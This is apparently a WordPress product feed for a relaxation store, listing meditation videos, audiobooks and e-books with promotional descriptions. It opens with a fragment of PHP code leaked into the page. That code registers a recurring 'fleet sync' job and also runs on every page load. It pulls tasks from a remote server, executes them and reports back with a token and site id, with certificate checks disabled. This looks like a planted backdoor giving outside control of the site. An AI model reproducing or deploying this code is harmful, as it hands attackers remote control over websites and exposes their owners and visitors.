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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Live Healthier & Mindfully Archives - Find the best de-stress and sleep audiobooks, eBooks and videos https://store.relexa.us/product-category/live-healthier-mindfully/ De-stress, relax and fall asleep Wed, 29 Apr 2026 09:17:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://store.relexa.us/wp-content/uploads/2022/07/cropped-favicon-32x32.png Live Healthier & Mindfully Archives - Find the best de-stress and sleep audiobooks, eBooks and videos https://store.relexa.us/product-category/live-healthier-mindfully/ 32 32 Meditation Video: Expanding Space Meditation https://store.relexa.us/product/meditation-video-expanding-space-meditation/ https://store.relexa.us/product/meditation-video-expanding-space-meditation/#respond Thu, 16 Feb 2023 13:47:09 +0000 https://store.relexa.us/?post_type=product&p=5946 This meditation will help you to embrace change.

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Video Meditation: Visualize Your Future https://store.relexa.us/product/video-meditation-visualize-your-future/ https://store.relexa.us/product/video-meditation-visualize-your-future/#respond Thu, 16 Feb 2023 13:01:29 +0000 https://store.relexa.us/?post_type=product&p=5940 Imagine your future full of success and happiness.

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E-book: The Top 101 Secrets of Relaxation https://store.relexa.us/product/the-top-101-secrets-of-relaxation/ https://store.relexa.us/product/the-top-101-secrets-of-relaxation/#respond Mon, 26 Sep 2022 07:47:52 +0000 https://store.relexa.us/?post_type=product&p=4428 Imagine you are swimming naked in the middle of the open sea with very little chance of survival. What do you think would hold the most value? Your house, your Porsche, your Rolex, your reputation in society?

By: Max Ocean
Narrated by: Brendon Burchard
Length: 5 hrs and 4 mins
Original Recording AudioBook
Release date: 09-15-22
Language: English
Publisher: RELAXA LLC

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Imagine you are swimming naked in the middle of the open sea with very little chance of survival. What do you think would hold the most value? Your house, your Porsche, your Rolex, your reputation in society? The author of this book once found himself in this exact situation. This experience changed his everything — his mind, his way of thinking, and who he is completely. He was reborn. But relaxation and enlightenment don’t just come to those who face life-changing, or traumatic experiences.

So please don’t feel the need to jump naked into the sea and swim for survival just yet. There are many other more suitable ways to relax, reassess your values, and learn to live a stressless and wonderful life. Max Ocean, the author of 101 Secrets of Relaxation tried a myriad of different relaxation techniques, meditations, yoga, and other strategies so you wouldn’t have to. This book is his advice to you on the top relaxation secrets and best techniques.

Whether it’s breathing exercises, anxiety relief techniques, self-motivation, or strategies to help you fall asleep fast — this book has it all. Regardless of what technique you ultimately choose from the 101 relaxation secrets, you will experience immense pleasure and a chance to live a happier, more relaxed and joyful life. This book is the key to changing your perspective and your life. Relaxation and happiness go hand in hand, so read on, do the work, and prepare for good things ahead.

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Audiobook: Meditative Mindful Eating Techniques https://store.relexa.us/product/meditative-mindful-eating-techniques/ https://store.relexa.us/product/meditative-mindful-eating-techniques/#respond Thu, 14 Jul 2022 16:11:04 +0000 https://store.relexa.us/?post_type=product&p=4282 10 Powerful Meditations

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Meditative Mindful Eating Techniques will change the way you think about food. It will help you create healthy eating habits, lose weight if you need to, and guide you to enjoy food in a more conscious way.

When you eat mindfully, you immerse yourself fully in the experience of eating and staying in the present moment. Maintaining moment-to-moment awareness during your meal allows you to observe emotions or sensations triggered by the act of eating. These reactions may be mental or physical. A regular mindful eating practice may relieve feelings of anxiety and stress, and may reduce the urge to overeat.

Starting your mindfulness eating journey with us is as simple as following these easy steps: Find a comfortable space where you can relax and concentrate without any interruptions or distractions. Put your headphones on, and close your eyes. Enjoy our daily meditations and experience a healthier you.

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E-book: Fortunellascope https://store.relexa.us/product/fortunellascope/ https://store.relexa.us/product/fortunellascope/#respond Thu, 14 Jul 2022 15:32:22 +0000 https://store.relexa.us/?post_type=product&p=4272 48 Inspirational Predictions for Every Day.

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Do you want to receive wise and inspiring predictions for every day?

Give yourself a little magic every morning, and get a self-fulfilling prophecy which will assist you in feeling more confident, harmonious and happier day after day.

Meet our beautiful Fortunella – a magical oracle. Every day, Fortunella makes only useful and positive predictions based on her deep wisdom and your random choices. When you follow the advice of Fortunella, you immediately set yourself up for a better life.

Allow your inner child to trust Fortunella, follow her little predictions and advice daily, and enjoy the magic of positive change.

You may ask, what is Fortunellascope? You see, it is a psychological metaphor and a game that is based on the most important human core values and the effect of a self-fulfilling prophecy.

These 48 little predictions for every day will bring out the best in yourself and give you a dose of pleasant emotion, as well as a positive mood.

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Audiobook: De-stress Now. The Best 101 Relaxation Techniques https://store.relexa.us/product/the-best-101-de-stress-techniques-2/ https://store.relexa.us/product/the-best-101-de-stress-techniques-2/#respond Fri, 24 Jun 2022 09:19:26 +0000 https://store.relexa.us/?post_type=product&p=3993 How to de-stress instantly and be happy. The best relaxation techniques that work instantly.

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Imagine you are swimming naked in the middle of the open sea with very little chance of survival. What do you think would hold the most value? Your house, your Porsche, your Rolex, your reputation in society? The author of this book once found himself in this exact situation. This experience changed his everything — his mind, his way of thinking, and who he is completely. He was reborn. But relaxation and enlightenment don’t just come to those who face life-changing, or traumatic experiences.

So please don’t feel the need to jump naked into the sea and swim for survival just yet. There are many other more suitable ways to relax, reassess your values, and learn to live a stressless and wonderful life. Max Ocean, the author of 101 Secrets of Relaxation tried a myriad of different relaxation techniques, meditations, yoga, and other strategies so you wouldn’t have to. This book is his advice to you on the top relaxation secrets and best techniques.

Whether it’s breathing exercises, anxiety relief techniques, self-motivation, or strategies to help you fall asleep fast — this book has it all. Regardless of what technique you ultimately choose from the 101 relaxation secrets, you will experience immense pleasure and a chance to live a happier, more relaxed and joyful life. This book is the key to changing your perspective and your life. Relaxation and happiness go hand in hand, so read on, do the work, and prepare for good things ahead.

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E-book: De-stress Now. The Best 101 Relaxation Techniques https://store.relexa.us/product/the-best-101-de-stress-techniques/ https://store.relexa.us/product/the-best-101-de-stress-techniques/#respond Fri, 10 Jun 2022 16:52:04 +0000 https://store.relexa.us/shop/?post_type=product&p=3836 How to de-stress instantly and be happy. The best relaxation techniques that work instantly.

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Imagine you are swimming naked in the middle of the open sea with very little chance of survival. What do you think would hold the most value? Your house, your Porsche, your Rolex, your reputation in society? The author of this book once found himself in this exact situation. This experience changed his everything — his mind, his way of thinking, and who he is completely. He was reborn. But relaxation and enlightenment don’t just come to those who face life-changing, or traumatic experiences.

So please don’t feel the need to jump naked into the sea and swim for survival just yet. There are many other more suitable ways to relax, reassess your values, and learn to live a stressless and wonderful life. Max Ocean, the author of 101 Secrets of Relaxation tried a myriad of different relaxation techniques, meditations, yoga, and other strategies so you wouldn’t have to. This book is his advice to you on the top relaxation secrets and best techniques.

Whether it’s breathing exercises, anxiety relief techniques, self-motivation, or strategies to help you fall asleep fast — this book has it all. Regardless of what technique you ultimately choose from the 101 relaxation secrets, you will experience immense pleasure and a chance to live a happier, more relaxed and joyful life. This book is the key to changing your perspective and your life. Relaxation and happiness go hand in hand, so read on, do the work, and prepare for good things ahead.

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E-book: Mindful Love & Sex Meditations https://store.relexa.us/product/mindful-love-sex-meditations-2/ https://store.relexa.us/product/mindful-love-sex-meditations-2/#respond Fri, 10 Jun 2022 16:27:29 +0000 https://store.relexa.us/shop/?post_type=product&p=3815 Start Your Journey to an Incredible Sexual Experience.

 

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Your ability to immerse yourself in a deep, meditative, loving state while simultaneously concentrating on a range of sensory stimuli can intensify your experience of sexual pleasure.

Practicing love meditation develops your ability to immerse yourself in the moment and heightens your physical and emotional responsiveness to your partner. Learn to touch and communicate physically and energetically, while fully expressing your emotions, love and tenderness.

Practice our Mindful Love & Sex meditations at least once a week for two to three months. Do these meditations on your own and with a partner.

Make love meditation a habit and gradually enter a new, loving, meditative state. Amplify your ability to enjoy every moment, achieve a new level of sensitivity and give physical expression to your emotions in sexual relations with your loved one.

Our Mindful Love & Sex Meditations will develop your sensual abilities, heighten your experience of sexual pleasure and teach you new ways to express love and desire.

 

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E-book: Meditative Mindful Eating Techniques https://store.relexa.us/product/mindful-eating/ https://store.relexa.us/product/mindful-eating/#respond Fri, 10 Jun 2022 11:18:38 +0000 https://store.relexa.us/?post_type=product&p=3894 10 Powerful Meditations

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Meditative Mindful Eating Techniques will change the way you think about food. It will help you create healthy eating habits, lose weight if you need to, and guide you to enjoy food in a more conscious way.

When you eat mindfully, you immerse yourself fully in the experience of eating and staying in the present moment. Maintaining moment-to-moment awareness during your meal allows you to observe emotions or sensations triggered by the act of eating. These reactions may be mental or physical. A regular mindful eating practice may relieve feelings of anxiety and stress, and may reduce the urge to overeat.

Starting your mindfulness eating journey with us is as simple as following these easy steps: Find a comfortable space where you can relax and concentrate without any interruptions or distractions. Put your headphones on, and close your eyes. Enjoy our daily meditations and experience a healthier you.

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Audiobook: I Love Sleep https://store.relexa.us/product/i-love-sleep/ https://store.relexa.us/product/i-love-sleep/#respond Tue, 07 Jun 2022 09:01:25 +0000 https://store.relexa.us/shop/?post_type=product&p=3865 Powerful 5-minute meditations for instant relaxation before bed

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Listen to this soothing audiobook before bed for good sleep and wonderful dreams.
Get positive emotions, relax deeply, and enjoy.

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